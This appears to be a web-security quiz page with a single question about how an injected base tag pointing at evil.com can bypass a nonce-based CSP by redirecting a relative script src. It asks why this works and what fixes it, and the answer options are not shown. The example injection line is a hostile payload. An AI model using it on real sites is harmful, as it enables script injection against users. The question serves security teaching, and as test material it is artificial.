Skip to content
RED SAGSkills
hard20 pts · first answer countsweb-securitycsp

Injected base tag beats a nonce CSP

A page uses a nonce-based CSP and loads <script nonce=... src="/js/app.js">. An HTML injection inserts <base href="https://evil.com/"> above it. Why can this work, and what fixes it?

Choose one answer

Discussion 0

Join free to post in the discussion.

Related questions